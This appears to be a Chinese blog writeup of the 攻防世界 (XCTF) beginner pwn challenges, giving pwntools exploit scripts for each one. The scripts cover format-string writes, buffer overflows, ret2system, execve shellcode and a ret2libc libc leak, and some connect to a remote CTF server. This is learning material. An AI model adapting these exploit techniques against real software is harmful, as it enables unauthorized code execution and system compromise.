

攻防世界pwn新手区writeup

原创

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[WriteUp](#) 专栏收录该内容

20 篇文章 2 订阅

订阅专栏

get_shell

```
#coding = utf-8
```

```
from pwn import *
```

```
context.log_level = 'debug'
```

```
io = remote('111.198.29.45', 54766)
```

```
io.sendline('ls')
```

```
io.sendline('cat flag')
```

```
io.interactive()
```

flag:

```
cyberpeace{c2b35808d0b8ef3e67b38bf4351aa0c4}
```

CGfsb

```
from pwn import *
```

```
#context.log_level='debug'
```

```
p = process('./CGfsb')
```

```
#p = remote("111.198.29.45", "33966")
```

```
pwnme = 0x804a068
```

```
p.recvuntil(':')
```

```
p.sendline("11111")
```

```
p.recvuntil(":")
```

```
payload = p32(pwnme) + 'aaaa' + '%10$n'  
#payload = fmtstr_payload(10,{pwnme:8})  
#payload = 'AAAA'  
#gdb.attach(p,"b *0x080486C1\\nc")  
#pause()  
p.sendline(payload)  
p.interactive()
```

when_you_born

```
#!/bin/usr/python2  
  
from pwn import *  
  
#p = remote('111.198.29.45','36187')  
p = process('when_you_born')  
birth = "1927"  
name = "aaaaaaaa"+ p32(0x00000786)  
print name  
p.recvuntil("What's Your Birth?")  
p.sendline(birth)  
p.recvuntil("What's Your Name?")  
p.sendline(name)  
print p.recv()  
print p.recv()  
print p.recv()
```

hello_pwn

```
from pwn import *  
  
#context.log_level='debug'  
  
p = process('./hello_pwn')  
  
#p = remote("111.198.29.45", "33966")  
  
pwnme = 1853186401  
  
#p.recvuntil(':')  
  
#p.sendline("1111")  
  
#p.recvuntil(":")  
  
payload = 'aaaa' + p32(pwnme)  
  
#payload = fmtstr_payload(10, {pwnme:8})  
  
#payload = 'AAAA'  
  
#gdb.attach(p, "b *0x080486C1\\nc")  
  
#pause()  
  
p.sendline(payload)  
  
p.interactive()
```

level0

```
from pwn import * #导入pwntools中pwn包的所有内容  
  
#context.log_level='debug'  
  
#p = process('./level0')  
  
p = remote('111.198.29.45', 33907) # 链接服务器远程交互，等同于nc ip 端口 命令  
  
elf = ELF('./level0') # 以ELF文件格式读取level0文件
```

```
sysaddr = elf.symbols['callsystem'] # 获取ELF文件中callsystem标记的地址
```

```
payload = 'a'*(0x80 + 8) + p64(sysaddr) # payload, 先用0x88个无用字符覆盖buf和push中的内容, 之后再覆盖返回地址
```

```
p.recv() #接收输出
```

```
p.send(payload) # 发送payload
```

```
p.interactive() # 反弹shell进行交互
```

Level2

```
#!/usr/bin/python
```

```
# -*- coding: utf-8 -*-
```

```
from pwn import *
```

```
context.log_level='debug'
```

```
p = process('./level2')
```

```
#p = remote("111.198.29.45", "54845")
```

```
system = 0x8048320
```

```
binsh = 0x804A024
```

```
#system("/bin/sh")
```

```
payload = 0x8c * "A" + p32(system) + p32(0) + p32(binsh) #将/bin/sh压入栈中作system的参数
```

```
p.sendline(payload)
```

```
p.interactive()
```

String

```
#!/usr/bin/python
```

```
# -*- coding: utf-8 -*-
```

```
from pwn import *
```

```
io = remote('111.198.29.45', 44980)
```

```
# io = process('./string')
```

```
io.recvuntil("secret[0] is ")
```

```
v3_0_addr = int(io.recvuntil("\n")[:-1], 16)
```

```
log.info("v3_0_addr:" + hex(v3_0_addr))
```

```
io.recvuntil("character's name be:")
```

```
io.sendline("kk")
```

```
io.recvuntil("east or up?:")
```

```
io.sendline("east")
```

```
io.recvuntil("there(1), or leave(0)?:")
```

```
io.sendline("1")
```

```
io.recvuntil("Give me an address")
```

```
io.sendline(str(v3_0_addr))
```

```
io.recvuntil("you wish is:")
```

```
io.sendline("%85c%7$n")
```

```
# shellcode = asm(shellcraft.amd64.linux.sh()) #自动生成生成的shellcode
```

```
shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
```

```
io.recvuntil("USE YOU SPELL")
```

```
io.sendline(shellcode)
```

```
io.interactive()
```

guess_num

```
from pwn import *
```

```
from ctypes import *
```

```
context.log_level = 'debug'

#p = process('./guess_num')

p = remote("111.198.29.45", "32593")

elf = ELF('./guess_num')

# libc = elf.libc

libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

payload = 0x20*'a' + p64(1)

p.recvuntil('name:')

p.sendline(payload)

libc.srand(1)

for i in range(10):

    num = str(libc.rand()%6+1)

    p.recvuntil('number:')

    p.sendline(num)

p.interactive()
```

int_overflow

```
#!/usr/bin/python

from pwn import *

#context.log_level = "debug"

io = remote("111.198.29.45", 49114)

# io = process("./int_overflow")

cat_flag_addr = 0x0804868B

io.sendlineafter("Your choice:", "1")
```

```
io.sendlineafter("your username:", "kk")
io.recvuntil("your passwd:")
payload = "a" * 0x14 + "aaaa" + p32(cat_flag_addr)
payload = payload.ljust( 259,"a")
io.sendline(payload)
io.recv()
io.interactive()
```

cgpwn2

```
# -*- coding: UTF-8 -*-
from pwn import*
elf=ELF('./cgpwn2')
io=remote('111.198.29.45','38079')
addr=0x804a080
io.recv()
io.sendline("/bin/sh\x00")
sys_addr=elf.symbols['system']
io.recv()
p=42*'a'+p32(sys_addr)+'a'*4+p32(addr)
io.sendline(p)
io.interactive()
```

Level3

```
#*-coding:utf-8*-
```

```
from pwn import *
```

#思路：程序流程非常简单，可以突破的点只有read函数。通过覆盖返回地址，执行两次main函数。第一次泄漏write函数的地址，第二次执行system函数。

```
#导入pwn模块
```

```
from pwn import *
```

```
#获取远程进程对象
```

```
p=remote('111.198.29.45',53745)
```

```
#获取本地进程对象
```

```
#p = process("./level3/level3")
```

```
#获取文件对象
```

```
elf=ELF('./level3/level3')
```

```
#获取lib库对象
```

```
libc = ELF('./level3/libc_32.so.6')
```

```
#获取函数
```

```
write_plt=elf.plt['write']
```

```
write_got=elf.got['write']
```

```
main_addr=elf.sym['main']
```

```
#接收数据
```

```
p.recvuntil(":\n")
```

```
#char[88] ebp write函数地址 write函数返回地址(返回到main函数) write函数参数一(1) write函数参数二  
(write_got地址) write函数参数三(写4字节)
```

```
payload=0x88*'a'+p32(0xdeadbeef)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
```

```
p.sendline(payload)
```



```
#获取write在got中的地址
write_got_addr=u32(p.recv())
print hex(write_got_addr)

#计算lib库加载基址
libc_base=write_got_addr-libc.sym['write']
print hex(libc_base)

#计算system的地址
system_addr = libc_base+libc.sym['system']
print hex(system_addr)

#计算字符串 /bin/sh 的地址。0x15902b为偏移，通过命令：strings -a -t x libc_32.so.6 | grep "/bin/sh" 获取
bin_sh_addr = libc_base + 0x15902b
print hex(bin_sh_addr)

#char[88] ebp system system函数的返回地址 system函数的参数(bin_sh_addr)
payload2=0x88*'a'+p32(0xdeadbeef)+p32(system_addr)+p32(0x11111111)+p32(bin_sh_addr)

#接收数据
p.recvuntil(":\n")

#发送payload
p.sendline(payload2)

#切换交互模式
p.interactive()
```